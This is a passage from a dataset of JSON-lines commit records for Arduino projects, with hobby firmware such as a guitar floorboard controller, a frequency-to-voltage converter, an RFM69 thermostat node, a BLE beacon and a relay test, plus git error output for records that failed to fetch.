NAJLEPSZY\", 1, 220);\n test(1);\n test(0);\n}\n\nint smooth(int pos, int value) {\n value = constrain(map(value, readBounds[pos][0], readBounds[pos][1], 0, 255), 0, 255);\n readTotal[pos] = readTotal[pos] - readings[pos][readIndex];\n readTotal[pos] += value;\n readings[pos][readIndex] = value;\n readAverage[pos] = readTotal[pos] \/ numReadings;\n return readAverage[pos];\n}\n\nint lastReadSw;\n\nvoid loop() {\n \/\/Serial.println(\"loop\");\n if (presentation) {\n presentation = false;\n Serial.println(\"presentation\");\n \/\/test(true);\n }\n \n writeLed(POINT, false); \n writeScreen(\"CAT\");\n\n\n byte readSw = analogRead(pinSw); \n \/\/Serial.println(readSw);\n if (abs(lastReadSw - readSw) < 3) {\n \/\/ successful press\n\n int bv = buttonValue(readSw);\n if (bv) {\n writeLed(bv, true); \n }\n }\n lastReadSw = readSw;\n\n delay(10);\n}\n\n\nvoid loop2() {\n \/\/ My badass presentation!!!\n if (presentation) {\n presentation = 0;\n badassPresentation();\n }\n \n \/\/ Start reading the analog inputs.\n byte readSw = buttonValue(analogRead(pinSw)); \n \n byte byteWah = 0;\/\/smooth(0,analogRead(pinWah));\n byte byteVol = 0;\/\/smooth(1,analogRead(pinVol));\n readIndex = readIndex + 1 == numReadings ? 0 : readIndex + 1;\n \n \/\/ And again, All of this debouncing stuff was taken from here:\n \/\/ https:\/\/www.arduino.cc\/en\/Tutorial\/Debounce\n \/\/ check to see if you just pressed the button\n \/\/ (i.e. the input went from LOW to HIGH), and you've waited\n \/\/ long enough since the last press to ignore any noise:\n\n \/\/ If the switch changed, due to noise or pressing:\n if (readSw != lastButtonState) {\n \/\/ reset the debouncing timer\n lastDebounceTime = millis();\n }\n\n if ((millis() - lastDebounceTime) > debounceDelay){\n \/\/ whatever the reading is at, it's been there for longer\n \/\/ than the debounce delay, so take it as the actual current state:\n\n \/\/ if the button state has changed\n if (readSw != buttonState) {\n \/\/ only toggle the LED if the new button state is HIGH\n buttonState = readSw;\n }\n }\n\n \/\/ save the reading. Next time through the loop,\n \/\/ it'll be the lastButtonState:\n lastButtonState = readSw;\n\n \/\/ Now if somenthing changed since the last time we proceed to process the input data.\n if ((byteVol != volValue) || (byteWah != wahValue) || (buttonState != swValue)) {\n \/\/ update the globals, to remember the nex time.\n wahValue = byteWah;\n volValue = byteVol;\n swValue = buttonState;\n \n \/\/ With this I can send the three input bytes to the serial port, which i happen to read back there on Max7\n Serial.print(swValue);\n Serial.print(\" \");\n Serial.print(wahValue);\n Serial.print(\" \");\n Serial.println(volValue);\n delay(20);\n \n }\n\n \/\/ Check if we have input in the serial port\n if (Serial.available()) {\n \/\/ Led info is represented in 4 bytes\n char buf[4];\n Serial.readBytes(buf, 4);\n leds[0] = parseFromMax(buf[0]);\n leds[1] = parseFromMax(buf[1]);\n leds[2] = parseFromMax(buf[2]);\n leds[3] = buf[3];\n \/\/ Finally send all these bits as a pulse train to the floorboard.\n sendPulses();\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Floorboard\/floorboard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f13bde24de22da1eb528d830a22509fd398dee07","subject":"Update MasterModule.ino","message":"Update MasterModule.ino","repos":"PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/MasterModule\/MasterModule.ino","new_file":"Arduino code\/MasterModule\/MasterModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/MasterModule\/MasterModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0513ad346093135636b18ed95e675f41fa94f4aa","subject":"updated examples","message":"updated examples\n","repos":"drpjk\/Arduino-Libs,drpjk\/Arduino-Libs,drpjk\/Arduino-Libs","old_file":"DAC8760\/examples\/Freq2Volt\/Freq2Volt.ino","new_file":"DAC8760\/examples\/Freq2Volt\/Freq2Volt.ino","new_contents":"\/*\n Frequency to Voltage Converter\n\n Frequency-Input - D8\/PB0\/ICP1\n\n DAC8760\n CLR - connected to GND\n LATCH - D10\n DIN - D11\/MOSI\n SDO - D12\/MISO\n SCLK - D13\/CLK\n *\/\n\n#include <util\/delay.h>\n#include <SPI.h>\n#include <DAC8760.h>\n\n\n\/\/#define DEBUG \/\/enable serial debug output (9600 baud)\n\n#define INPUT_PIN 8 \/\/D8\/PB0\/ICP1\n\n\/\/F_CPU = 16000000 Hz = 62.5ns\n\/\/t = 800.....16000 (*62.5ns)\n\/\/f = 20kHz...1kHz (f = 1\/((1\/F_CPU)*t))\n\/\/v = 10V.....0V\n\/\/n = 65535...0\n#define F_MIN 1000 \/\/ 1000Hz, 250...100000Hz (min. frequency -> 0V)\n#define F_MAX 20000 \/\/20000Hz, 250...100000Hz (max. frequency -> 10V)\n#define N_MIN 0 \/\/ 0V = 0\n#define N_MAX 65535 \/\/10V = 65535\n\n\nDAC8760 dac;\n\nvolatile uint_least16_t t_avg=0;\nuint_least8_t t_over=0;\n\n\nISR(TIMER1_OVF_vect) \/\/overflow after about 4ms\n{\n t_over = 1;\n t_avg = F_CPU\/F_MIN; \/\/set to min. freq.\n}\n\n\nISR(TIMER1_CAPT_vect) \/\/input capture irq\n{\n uint_least16_t t;\n static uint_least16_t t_last=0;\n\n TCNT1 = 0x0000; \/\/reset timer\n t = ICR1; \/\/get input capture value\n\n if(t_over) \/\/overflow?\n {\n t_over = 0;\n t_last = 0;\n }\n else\n {\n if(t == t_last) \/\/current value = last value\n {\n \/\/set avg to t\n t_avg = t;\n\n \/\/make avg from last and current\n \/\/ t_avg += t;\n \/\/ t_avg >>= 1; \/\/div by 2\n }\n t_last = t;\n }\n}\n\n\nvoid print(char *s)\n{\n#ifdef DEBUG\n while(*s)\n {\n loop_until_bit_is_set(UCSR0A, UDRE0);\n UDR0 = *s++;\n }\n#endif\n}\n\n\nvoid print(uint_least16_t i)\n{\n#ifdef DEBUG\n char tmp[8];\n \n sprintf(tmp, \"%u\", i);\n print(tmp);\n#endif\n}\n\n\nvoid setup()\n{\n \/\/init Serial port\n#ifdef DEBUG\n Serial.begin(9600);\n while(!Serial); \/\/wait for serial port to connect - needed for Leonardo only\n#endif\n\n \/\/init Pins\n print(\"Init Pins...\\n\");\n pinMode(INPUT_PIN, INPUT);\n digitalWrite(INPUT_PIN, HIGH); \/\/pull-up\n\n \/\/init DAC\n print(\"Init DAC...\\n\");\n dac.begin();\n dac.write(0);\n \n \/\/disable Arduino interrupts and init timer\n print(\"Init IRQs...\\n\");\n cli(); \/\/disable all interrupts\n \/\/disable UART interrupts\n UCSR0B &= ~((1<<RXCIE0) | (1<<TXCIE0));\n \/\/reset presaclers\n GTCCR = (1<<PSRASY); \n \/\/disable timer 0 (8 bit)\n TCNT0 = 0;\n TIMSK0 = 0;\n TCCR0A = 0x00;\n TCCR0B = 0x00;\n \/\/enable timer 1 (16 bit)\n TCNT1 = 0x0000;\n TIMSK1 = (1<<ICIE1) | (1<<TOIE1);\n TCCR1A = 0x00;\n TCCR1B = (1<<ICNC1) | (1<<ICES1) | (0<<CS12) | (0<<CS11) | (1<<CS10); \/\/ICP1 rising, clk=F_CPU\/1\n TCCR1C = 0x00;\n \/\/disable timer 2 (8 bit)\n TCNT2 = 0x00;\n TIMSK2 = 0x00;\n TCCR2A = 0x00;\n TCCR2B = 0x00;\n sei(); \/\/enable all interrupts\n}\n\n\nvoid loop()\n{\n uint_least16_t t, n;\n static uint_least16_t t_last=0, n_last=0;\n uint_least32_t f;\n uint8_t oldSREG;\n\n oldSREG = SREG;\n cli();\n t = t_avg;\n SREG = oldSREG;\n\n if(t != t_last) \/\/t changed?\n {\n t_last = t;\n\n f = F_CPU\/(uint_least32_t)t; \/\/calculate f from t\n if(f < F_MIN){ f = F_MIN; } \/\/freq. to low?\n else if(f > F_MAX){ f = F_MAX; } \/\/freq. to high?\n n = map(f, F_MIN, F_MAX, N_MIN, N_MAX); \/\/map freq. to voltage\n\n if(n != n_last) \/\/n changed?\n {\n n_last = n;\n\n \/\/set DAC output\n dac.write(n); \/\/set DAC output\n\n#ifdef DEBUG\n \/\/print(\"t:\");\n \/\/print(t);\n print(\" f:\");\n print(f);\n \/\/print(\" n:\");\n \/\/print(n);\n print(\" mV:\");\n n = map(n, 0, 65535, 0, 10000); \/\/map n to voltage\n print(n);\n print(\"\\n\");\n#endif\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DAC8760\/examples\/Freq2Volt\/Freq2Volt.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8f1c7cc5ad682fbc81ec1935bdee31afdcef6d2d","subject":"Update wemos_remote.ino","message":"Update wemos_remote.ino","repos":"vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol","old_file":"var\/webcontrol\/samples\/wemos_remote.ino","new_file":"var\/webcontrol\/samples\/wemos_remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/vaskovasilev\/webcontrol.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"32c7e72361bcc66fcf93cd20170707530f46f613","subject":"Wiring seems to be in good working order","message":"Wiring seems to be in good working order\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"Sketches\/LED Board\/led_board\/led_board.ino","new_file":"Sketches\/LED Board\/led_board\/led_board.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/LED' did not match any file(s) known to git\nerror: pathspec 'Board\/led_board\/led_board.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a179cfbb782e5565bc6be73c94ce19c6580c4ed","subject":"ok, that is how we move twice as far as needed \u2026","message":"ok, that is how we move twice as far as needed \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ee9d5703b5dba6c98d988ffecb5c3c9011e42bcc","subject":"rename commands","message":"rename commands\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"80766522b1e415b3357d69a984a76085ee0f02df","subject":"Finished the arduino script vor the Thermostat device.","message":"Finished the arduino script vor the Thermostat device.\n","repos":"hvos234\/raspberrypi.home.website,hvos234\/raspberrypi.home.website","old_file":"vendor\/LowPowerLab\/deviceThermostat\/deviceThermostat.ino","new_file":"vendor\/LowPowerLab\/deviceThermostat\/deviceThermostat.ino","new_contents":"\/\/ HomeDHT\n\/\/#define DHTTYPE DHT11 \/\/ DHT 11 \n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n#define DHTPIN 6 \/\/ what pin the DHT is connected to\n\n#include <DHT.h> \/\/ work 1.0, 1.1\n#include <HomeDHT.h>\n\nHomeDHT homedht(DHTPIN, DHTTYPE); \/\/ work 1.0\n\n\/\/ temperature or humdity 20.02 is 5 plus \\0\nchar temperature[7];\nchar humdity[7];\n\n\/\/ HomeRFM69\n#define FREQUENCY RF69_433MHZ \/\/Match this with the version of your Moteino! (others: RF69_433MHZ, RF69_868MHZ)\n#define NODEID 3\n#define NETWORKID 100\n#define KEY \"sampleEncryptKey\" \/\/has to be same 16 characters\/bytes on all nodes, not more not less!\n#define PROMISCUOUSMODE false \/\/set to 'true' to sniff all packets on the same network\n#define ACK true\n#define ACK_RETRIES 2\n#define ACK_WAIT 1000 \/\/ default is 40 ms at 4800 bits\/s, now 160 ms at 1200 bits\/s (160 is to low for a long distance, 510 for 10 meters)\n#define TIMEOUT 3000 \/\/ wait for respones\n\nbyte sendSize=0;\nboolean requestACK = false;\n\n#include <RFM69.h>\n#include <SPI.h>\n#include <HomeRFM69.h>\n\nHomeRFM69 homerfm69;\n\n\/*\nto \nraspberry Pi -> master fr:99;to:99;ac:99\nmaster -> device ac:99\n\nback\ndevice -> master ac:99;msg:t:99.99,h:99.99\nmaster -> raspberry Pi ac:99;msg:t:99.99,h:99.99 \n*\/\n\n\/\/ max payload or data is ac:99;msg:t:99.99,h:99.99 is 31 plus \\0\nchar payload[33];\nchar data[33];\n\n\/\/ max message is t:99.99,h:99.99 is 15 plus \\0\nchar message[17];\n\n\/\/ Thermostat\n#define THERMOPIN 3 \/\/ what pin the Thermostat switch is connected to\n#define THERMOLEDPIN 4 \/\/ what pin the Thermostat led is connected to\nint thermostatStatus = 0;\n\n\/\/ rest\n#define SERIAL_BAUD 9600\n\n\/\/ actions\n#define ACTIONTEMP 1 \/\/ send temperature\n#define ACTIONHUM 2 \/\/ send humidity\n#define ACTIONTEMPHUM 3 \/\/ send temperature and humidity\n\n#define ACTIONTHERMOON 4 \/\/ Thermostat on\n#define ACTIONTHERMOOFF 5 \/\/ Thermostat off\n#define ACTIONTHERMOSTAT 6 \/\/ Thermostat status (if it is on or off)\n\n\/*long transPeriod = random(3600000, 3900000); \/\/transmit a packet to gateway so often (in ms) (between 1 houre and 1 houre and 5 minutes)\nunsigned long currentPeriod = 0;\nunsigned long previousPeriod = 0;*\/\n\nvoid setup() {\n Serial.begin(SERIAL_BAUD);\n \n \/\/ HomeRFM69\n homerfm69.initialize(FREQUENCY, NODEID, NETWORKID, KEY, PROMISCUOUSMODE, ACK, ACK_RETRIES, ACK_WAIT, TIMEOUT);\n \n \/\/ Thermostat\n pinMode(THERMOPIN, OUTPUT); \/\/ sets the digital pin as output, in output mode it can send voltage, in input mode only receives it\n digitalWrite(THERMOPIN, LOW); \/\/ turn thermostate off\n \n pinMode(THERMOLEDPIN, OUTPUT);\n digitalWrite(THERMOLEDPIN, LOW);\n \n \/\/ if analog input pin 0 is unconnected, random analog\n \/\/ noise will cause the call to randomSeed() to generate\n \/\/ different seed numbers each time the sketch runs.\n \/\/ randomSeed() will then shuffle the random function.\n randomSeed(analogRead(0));\n \n Serial.println(\"Setup Finished !\");\n}\n\nvoid loop() {\n \/\/process any receiving data\n if (homerfm69.receiveDone()){\n memset(&message, 0, sizeof(message)); \/\/ clear it\n \n memset(&data, 0, sizeof(data)); \/\/ clear it\n strncpy( data, homerfm69.getData(), sizeof(data)-1 );\n \n homerfm69.sendACKRequested();\n \n Serial.print(\"Received: \");\n Serial.println(data);\n \n if(!homerfm69.sscanfData(data)){\n sprintf(message, \"err:rfm69,%d\", homerfm69.getErrorId());\n }else {\n \n if(ACTIONTEMP != homerfm69.getAction() && ACTIONHUM != homerfm69.getAction() && ACTIONTEMPHUM != homerfm69.getAction() && ACTIONTHERMOON != homerfm69.getAction() && ACTIONTHERMOOFF != homerfm69.getAction() && ACTIONTHERMOSTAT != homerfm69.getAction()){\n sprintf(message, \"err:%s\", \"no ac\");\n }\n \n if(ACTIONTEMP == homerfm69.getAction()){\n memset(&temperature, 0, sizeof(temperature)); \/\/ clear it\n strncpy( temperature, homedht.getTemperature(1), sizeof(temperature)-1 );\n \n if(homedht.getError()){\n sprintf(message, \"err:dht,%d\", homedht.getErrorId());\n \n }else {\n sprintf(message, \"t:%s\", temperature);\n }\n }\n \n if(ACTIONHUM == homerfm69.getAction()){\n memset(&humdity, 0, sizeof(humdity)); \/\/ clear it\n strncpy( humdity, homedht.getHumdity(), sizeof(humdity)-1 );\n \n if(homedht.getError()){\n sprintf(message, \"err:dht,%d\", homedht.getErrorId());\n }else {\n sprintf(message, \"h:%s\", humdity);\n }\n }\n \n if(ACTIONTEMPHUM == homerfm69.getAction()){\n memset(&temperature, 0, sizeof(temperature)); \/\/ clear it\n strncpy( temperature, homedht.getTemperature(1), sizeof(temperature)-1 );\n \n if(homedht.getError()){\n sprintf(message, \"err:dht,%d\", homedht.getErrorId());\n \n }else {\n memset(&humdity, 0, sizeof(humdity)); \/\/ clear it\n strncpy( humdity, homedht.getHumdity(), sizeof(humdity)-1 );\n \n if(homedht.getError()){\n sprintf(message, \"err:dht,%d\", homedht.getErrorId());\n \n }else {\n sprintf(message, \"t:%s,h:%s\", temperature, humdity);\n }\n }\n }\n \n if(ACTIONTHERMOON == homerfm69.getAction()){\n digitalWrite(THERMOPIN, HIGH);\n digitalWrite(THERMOLEDPIN, HIGH);\n sprintf(message, \"%d\", 1);\n }\n \n if(ACTIONTHERMOOFF == homerfm69.getAction()){\n digitalWrite(THERMOPIN, LOW);\n digitalWrite(THERMOLEDPIN, LOW);\n sprintf(message, \"%d\", 0);\n }\n \n if(ACTIONTHERMOSTAT == homerfm69.getAction()){\n thermostatStatus = digitalRead(THERMOPIN);\n \/\/Serial.print(\"Thermostat Status: \");\n \/\/Serial.println(thermostatStatus);\n \n \/\/Serial.print(\"Thermostat bitRead: \");\n \/\/Serial.println(bitRead(PORTD,THERMOPIN)); \n \n if(0 == thermostatStatus){\n sprintf(message, \"%d\", 1); \/\/ is on\n }else {\n sprintf(message, \"%d\", 0); \/\/ is off\n } \n }\n }\n \n memset(&payload, 0, sizeof(payload)); \/\/ clear it\n sprintf(payload, \"ac:%d;msg:%s\", homerfm69.getAction(), message);\n \n Serial.print(\"Sending: \");\n Serial.println(payload);\n \n bool success;\n success = homerfm69.sendWithRetry(homerfm69.getSenderId(), payload, strlen(payload)+2);\n \n if(homerfm69.getError()){\n Serial.print(\"err:rfm69,\");\n Serial.println(homerfm69.getErrorId());\n }\n }\n \n \/*unsigned long currentPeriod = millis();\n if (currentPeriod - previousPeriod >= transPeriod || currentPeriod < previousPeriod) {\n previousPeriod = currentPeriod;\n transPeriod = random(3600000, 3900000); \/\/transmit a packet to gateway so often (in ms) (between 1 houre and 1 houre and 5 minutes)\n \n memset(&temperature, 0, sizeof(temperature)); \/\/ clear it\n strncpy( temperature, homedht.getTemperature(1), sizeof(temperature)-1 );\n\n if(homedht.getError()){\n sprintf(message, \"err:dht,%d\", homedht.getErrorId());\n \n }else {\n memset(&humdity, 0, sizeof(humdity)); \/\/ clear it\n strncpy( humdity, homedht.getHumdity(), sizeof(humdity)-1 );\n \n if(homedht.getError()){\n sprintf(message, \"err:dht,%d\", homedht.getErrorId());\n \n }else {\n sprintf(message, \"t:%s,h:%s\", temperature, humdity);\n }\n }\n \n memset(&payload, 0, sizeof(payload)); \/\/ clear it\n sprintf(payload, \"ac:%d;msg:%s\", 3, message);\n \n Serial.print(\"Sending Period: \");\n Serial.println(payload);\n \n bool success;\n success = homerfm69.sendWithRetry(1, payload, strlen(payload)+2);\n \n if(homerfm69.getError()){\n Serial.print(\"err:rfm69,\");\n Serial.println(homerfm69.getErrorId());\n }\n }*\/\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'vendor\/LowPowerLab\/deviceThermostat\/deviceThermostat.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"56d74f87a693b26f5628da6f272ba8cf4af2bd01","subject":"Create test_my_lcd.ino","message":"Create test_my_lcd.ino","repos":"PiotrCzCc\/Arduino-LCD-TFT-ILI9325,PiotrCzCc\/Arduino-LCD-TFT-ILI9325","old_file":"examples\/test_my_lcd\/test_my_lcd.ino","new_file":"examples\/test_my_lcd\/test_my_lcd.ino","new_contents":"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/test_my_lcd\/test_my_lcd.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b505a3ea210211caf1581533dbe09fbd3cfcf88","subject":"hmmm there seem to be ocassions where pos_comp is still 0","message":"hmmm there seem to be ocassions where pos_comp is still 0\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"e7d1aee3d591392d47583c0bcc1dd6728b5f9d64","subject":"- Eddystone UID beacon example","message":"- Eddystone UID beacon example\n","repos":"possan\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral","old_file":"examples\/Eddystone\/EddystoneUID\/EddystoneUID.ino","new_file":"examples\/Eddystone\/EddystoneUID\/EddystoneUID.ino","new_contents":"\/\/ Import libraries (EddystoneBeacon depends on SPI)\n#include <SPI.h>\n#include <EddystoneBeacon.h>\n\n\/\/ define pins (varies per shield\/board)\n\/\/\n\/\/ Adafruit Bluefruit LE 10, 2, 9\n\/\/ Blend 9, 8, UNUSED\n\/\/ Blend Micro 6, 7, 4\n\/\/ RBL BLE Shield 9, 8, UNUSED\n\n#define EDDYSTONE_BEACON_REQ 6\n#define EDDYSTONE_BEACON_RDY 7\n#define EDDYSTONE_BEACON_RST 4\n\nEddystoneBeacon eddystoneBeacon = EddystoneBeacon(EDDYSTONE_BEACON_REQ, EDDYSTONE_BEACON_RDY, EDDYSTONE_BEACON_RST);\nBLEUuid uid = BLEUuid(\"01020304050607080910-AABBCCDDEEFF\"); \/\/ <namespace id>-<instance id>\n\nvoid setup() {\n Serial.begin(9600);\n\n eddystoneBeacon.begin(0x20, uid); \/\/ power, UID\n\n Serial.println(F(\"Eddystone UID Beacon\"));\n}\n\nvoid loop() {\n eddystoneBeacon.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Eddystone\/EddystoneUID\/EddystoneUID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81fb38e489edd875ac37d2afe433edb1a3019ead","subject":"hihi jeppe","message":"hihi jeppe\n","repos":"drblah\/RoboCup,drblah\/RoboCup","old_file":"Programmerings opgaver\/Lektion 9\/Opgave\/Opgave.ino","new_file":"Programmerings opgaver\/Lektion 9\/Opgave\/Opgave.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programmerings' did not match any file(s) known to git\nerror: pathspec 'opgaver\/Lektion' did not match any file(s) known to git\nerror: pathspec '9\/Opgave\/Opgave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6772c63b7d3b12eb380cae8866df455e3ebaeb10","subject":"Added preprocessor directives to easily swap between desktop serial monitor testing, electronics workbench oscilloscope testing, and mixing the two. Improved detection of pin outputs by looking at variable driving them, not trying to read the state of the pin itself. Should make for more accurate timing by micros(). Changed some of the TimerTwo function behaviour to be mo' bettah. Now clears ISR flag where it should, doesn't where it shouldn't. Starts, stops, and restarts timer and clock in the proper order. Code is prettier. Could still do with a lot of 'struct' and 'class' (and '.h') love, but I only have so much love to give.","message":"Added preprocessor directives to easily swap between desktop serial monitor testing, electronics workbench oscilloscope testing, and mixing the two. Improved detection of pin outputs by looking at variable driving them, not trying to read the state of the pin itself. Should make for more accurate timing by micros().\nChanged some of the TimerTwo function behaviour to be mo' bettah. Now clears ISR flag where it should, doesn't where it shouldn't. Starts, stops, and restarts timer and clock in the proper order.\nCode is prettier. Could still do with a lot of 'struct' and 'class' (and '.h') love, but I only have so much love to give.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5468b356f74c714b5bbe994dd292da7d0e308270","subject":"Test program for Arduino","message":"Test program for Arduino","repos":"GerardWassink\/gaw_Rasp_I2C_16_Relays","old_file":"I2C_MCP23017.ino","new_file":"I2C_MCP23017.ino","new_contents":"\/* ------------------------------------------------------------------------- *\n * Name : I2C_MCP23017\n * Author : Gerard Wassink\n * Date : February 25, 2017\n * Purpose: Test I2C relay driver card\n * ------------------------------------------------------------------------- *\n *\n * ------------------------------------------------------------------------- *\n * GNU LICENSE CONDITIONS\n * ------------------------------------------------------------------------- *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * ------------------------------------------------------------------------- *\n * Copyright (C) 2017 Gerard Wassink\n * ------------------------------------------------------------------------- *\/\n\n#include <Wire.h>\n#include \"Adafruit_MCP23017.h\"\n\nint boardAddress = 0x00;\n\nAdafruit_MCP23017 mcp;\n\nunsigned int myVals[] = \\\n{ \\\n 0B0000000000000000, \\\n 0B1000000000000001, \\\n 0B1100000000000011, \\\n 0B1110000000000111, \\\n 0B1111000000001111, \\\n 0B1111100000011111, \\\n 0B1111110000111111, \\\n 0B1111111001111111, \\\n 0B1111111111111111, \\\n 0B0111111111111110, \\\n 0B0011111111111100, \\\n 0B0001111111111000, \\\n 0B0000111111110000, \\\n 0B0000011111100000, \\\n 0B0000001111000000, \\\n 0B0000000110000000, \\\n 0B0000000000000000, \\\n 0B0000000110000000, \\\n 0B0000001111000000, \\\n 0B0000011111100000, \\\n 0B0000111111110000, \\\n 0B0001111111111000, \\\n 0B0011111111111100, \\\n 0B0111111111111110, \\\n 0B1111111111111111, \\\n 0B0111111111111110, \\\n 0B0011111111111100, \\\n 0B0001111111111000, \\\n 0B0000111111110000, \\\n 0B0000011111100000, \\\n 0B0000001111000000, \\\n 0B0000000110000000, \\\n 0B0000000000000000, \\\n 0B1000000000000000, \\\n 0B0100000000000000, \\\n 0B0010000000000000, \\\n 0B0001000000000000, \\\n 0B0000100000000000, \\\n 0B0000010000000000, \\\n 0B0000001000000000, \\\n 0B0000000100000000, \\\n 0B0000000010000000, \\\n 0B0000000001000000, \\\n 0B0000000000100000, \\\n 0B0000000000010000, \\\n 0B0000000000001000, \\\n 0B0000000000000100, \\\n 0B0000000000000010, \\\n 0B0000000000000001, \\\n 0B0000000000000010, \\\n 0B0000000000000100, \\\n 0B0000000000001000, \\\n 0B0000000000010000, \\\n 0B0000000000100000, \\\n 0B0000000001000000, \\\n 0B0000000010000000, \\\n 0B0000000100000000, \\\n 0B0000001000000000, \\\n 0B0000010000000000, \\\n 0B0000100000000000, \\\n 0B0001000000000000, \\\n 0B0010000000000000, \\\n 0B0100000000000000, \\\n 0B1000000000000000, \\\n 0B0000000000000000 \\\n};\n\nvoid setup() \n{\n mcp.begin(boardAddress); \/\/ join i2c bus\n \/\/ set all as output\n for (int i=0; i<=15; i++) mcp.pinMode(i, OUTPUT);\n}\n\nvoid loop() \n{\n\n for (int i = 0; i < sizeof(myVals)\/sizeof(int); i++) \n {\n mcp.writeGPIOAB(myVals[i]);\n delay(50);\n }\n \n exit(0);\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'I2C_MCP23017.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"cef49164e03401a258ad3f81cb5c54608835f7eb","subject":"init commit","message":"init commit\n","repos":"sparship\/leduino,sparship\/leduino","old_file":"arduino\/arduino-setup-code.ino","new_file":"arduino\/arduino-setup-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sparship\/leduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f97b6d504349c2952e0cb8aaf1ca7f265f43aa3b","subject":"ATTiny85 with brown out detector at 2.7v with watchdog checking for cpu freeze every 4 